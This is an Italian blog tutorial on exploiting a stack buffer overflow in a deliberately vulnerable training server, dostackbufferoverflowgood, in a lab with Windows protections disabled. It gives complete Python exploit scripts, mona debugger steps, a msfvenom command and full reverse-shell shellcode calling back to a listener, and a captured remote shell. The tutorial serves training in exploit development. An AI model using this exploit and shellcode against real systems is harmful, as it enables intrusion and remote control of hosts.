Stack Buffer Overflow III - dostackbufferoverflowgood

Tempo di lettura: 10 minuti
Data pubblicazione: September 22, 2022

Introduzione

Terzo articolo della serie Buffer Overflow, target: dostackbufferoverflowgood

Altri post in questa serie:

  1. Stack Buffer Overflow I - Vulnerserver TRUN
  2. Stack Buffer Overflow II - Brainpan
  3. Stack Buffer Overflow III - dostackbufferoverflowgood
  4. Stack Buffer Overflow IV - EasyRMtoMP3Converter
  5. Stack Buffer Overflow V - Disk Sorter Enterprise 9.5.12

L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.

Lab Setup

Per avere un ambiente ad hoc serve:

  • VM con Windows 10 a 32 bit, potete trovarlo qui (se accedete con un computer Windows dovete cambiare l’user agent con Linux/Mac).
  • WinDBG: visto che l’interfaccia di default non è per nulla intuitiva, l’ho modificata partendo da questo tema. Sentitevi liberi di modificarla come preferite.
  • Mona.py: automatizzazione di comandi su windbg. Per installarla su windows 10 a 32 bit ho utilizzato questo script.

Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:

!py mona config -set workingfolder c:\monalogs\%p_%i

In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.

NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.

NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).

dostackbufferoverflowgood

dostackbufferoverflowgood è un server vulnerabile creato ad hoc per imparare lo Stack Overflow. Una volta avviato rimane in ascolto sulla porta 9999 e possiamo connetterci con netcat. Se voleste una guida passo passo ben dettagliata, è possibile trovarla su Github

Crash Iniziale

Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo script che lo manderà in crash.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me

payload = b"A" * CRASH_LEN
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Identificare l’offset

Per poter redirezionare il flusso di memoria verso un indirizzo di memoria che controlliamo dobbiamo identificare l’offset preciso. Per farlo utilizzeremo pattern_create di mona

!py mona pc 500

Riavvio Dostack e aggiorno lo script inserendo il pattern

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag…"
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Troviamo l’offset preciso con pattern_offset, il quale cerca un preciso pattern all’interno della memoria

0:004> !py mona po 0x39654138 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x39654138
Looking for 8Ae9 in pattern of 500000 bytes
- Pattern 8Ae9 (0x39654138) found in cyclic pattern at position 146

Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me
offset = 146

payload = b"A" * offset
payload += b"B" * 4
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Trovare i bad char

Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono

!py mona ba -cpb '\x00'

NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:

!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff

Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me
offset = 146

bad_chars  = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"


payload = b"A" * offset
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

\x0a è diventato \x00, quindi è da inserire nella lista dei badchar.

Saltare allo shellcode

L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, per ora proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione il comando con mona è il seguente (escludendo \x00)

0:004> !py mona jmp -r esp -cpb '\x00\x0a' 
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00\x0a'

---------- Mona command started on 2022-09-02 17:29:57 (v2.0, rev 616) ----------
[+] Results : 
0x080414c3 |   0x080414c3 : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (dostackbufferoverflowgood.exe)
0x080416bf |   0x080416bf : jmp esp |  {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe] ASLR: False, Rebase: False, SafeSEH: True, OS: False, v-1.0- (dostackbufferoverflowgood.exe)
    Found a total of 2 pointers

Tutte le protezioni sono disabilitate, per cui scegliamo il primo.

Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x080414c3), in modo da vedere se è tutto a posto.

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me
offset = 146

#\x00\x0a

payload = b"A" * offset
payload += struct.pack("<I",0x080414c3) #JMP ESP
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")

Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto.

Inserimento dello shellcode

Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x0a' EXITFUNC=thread

Il codice finale sarà

import struct
import socket

TARGET_IP = "127.0.0.1"
TARGET_PORT = 31337
target = (TARGET_IP, TARGET_PORT) 

CRASH_LEN = 500  # change me
offset = 146

#\x00\x0a
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789  -f python -v shellcode -b '\x00\x0a' EXITFUNC=thread
shellcode =  b""
shellcode += b"\xda\xdc\xbd\x42\xf2\xbf\xae\xd9\x74\x24\xf4"
shellcode += b"\x5e\x31\xc9\xb1\x52\x31\x6e\x17\x83\xc6\x04"
shellcode += b"\x03\x2c\xe1\x5d\x5b\x4c\xed\x20\xa4\xac\xee"
shellcode += b"\x44\x2c\x49\xdf\x44\x4a\x1a\x70\x75\x18\x4e"
shellcode += b"\x7d\xfe\x4c\x7a\xf6\x72\x59\x8d\xbf\x39\xbf"
shellcode += b"\xa0\x40\x11\x83\xa3\xc2\x68\xd0\x03\xfa\xa2"
shellcode += b"\x25\x42\x3b\xde\xc4\x16\x94\x94\x7b\x86\x91"
shellcode += b"\xe1\x47\x2d\xe9\xe4\xcf\xd2\xba\x07\xe1\x45"
shellcode += b"\xb0\x51\x21\x64\x15\xea\x68\x7e\x7a\xd7\x23"
shellcode += b"\xf5\x48\xa3\xb5\xdf\x80\x4c\x19\x1e\x2d\xbf"
shellcode += b"\x63\x67\x8a\x20\x16\x91\xe8\xdd\x21\x66\x92"
shellcode += b"\x39\xa7\x7c\x34\xc9\x1f\x58\xc4\x1e\xf9\x2b"
shellcode += b"\xca\xeb\x8d\x73\xcf\xea\x42\x08\xeb\x67\x65"
shellcode += b"\xde\x7d\x33\x42\xfa\x26\xe7\xeb\x5b\x83\x46"
shellcode += b"\x13\xbb\x6c\x36\xb1\xb0\x81\x23\xc8\x9b\xcd"
shellcode += b"\x80\xe1\x23\x0e\x8f\x72\x50\x3c\x10\x29\xfe"
shellcode += b"\x0c\xd9\xf7\xf9\x73\xf0\x40\x95\x8d\xfb\xb0"
shellcode += b"\xbc\x49\xaf\xe0\xd6\x78\xd0\x6a\x26\x84\x05"
shellcode += b"\x3c\x76\x2a\xf6\xfd\x26\x8a\xa6\x95\x2c\x05"
shellcode += b"\x98\x86\x4f\xcf\xb1\x2d\xaa\x98\x7d\x19\xb5"
shellcode += b"\x64\x16\x58\xb5\x8e\x63\xd5\x53\xc4\x7b\xb0"
shellcode += b"\xcc\x71\xe5\x99\x86\xe0\xea\x37\xe3\x23\x60"
shellcode += b"\xb4\x14\xed\x81\xb1\x06\x9a\x61\x8c\x74\x0d"
shellcode += b"\x7d\x3a\x10\xd1\xec\xa1\xe0\x9c\x0c\x7e\xb7"
shellcode += b"\xc9\xe3\x77\x5d\xe4\x5a\x2e\x43\xf5\x3b\x09"
shellcode += b"\xc7\x22\xf8\x94\xc6\xa7\x44\xb3\xd8\x71\x44"
shellcode += b"\xff\x8c\x2d\x13\xa9\x7a\x88\xcd\x1b\xd4\x42"
shellcode += b"\xa1\xf5\xb0\x13\x89\xc5\xc6\x1b\xc4\xb3\x26"
shellcode += b"\xad\xb1\x85\x59\x02\x56\x02\x22\x7e\xc6\xed"
shellcode += b"\xf9\x3a\xe6\x0f\x2b\x37\x8f\x89\xbe\xfa\xd2"
shellcode += b"\x29\x15\x38\xeb\xa9\x9f\xc1\x08\xb1\xea\xc4"
shellcode += b"\x55\x75\x07\xb5\xc6\x10\x27\x6a\xe6\x30"


payload = b"A" * offset
payload += struct.pack("<I",0x080414c3) #JMP ESP
payload += b"\x90" * 10
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
payload += b"\n"

with socket.create_connection(target) as sock:
    sent = sock.send(payload)
    print(f"sent {sent} bytes")
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 20425
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
desktop-p7jng2j\user

C:\Windows\system32>

Conclusioni

In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: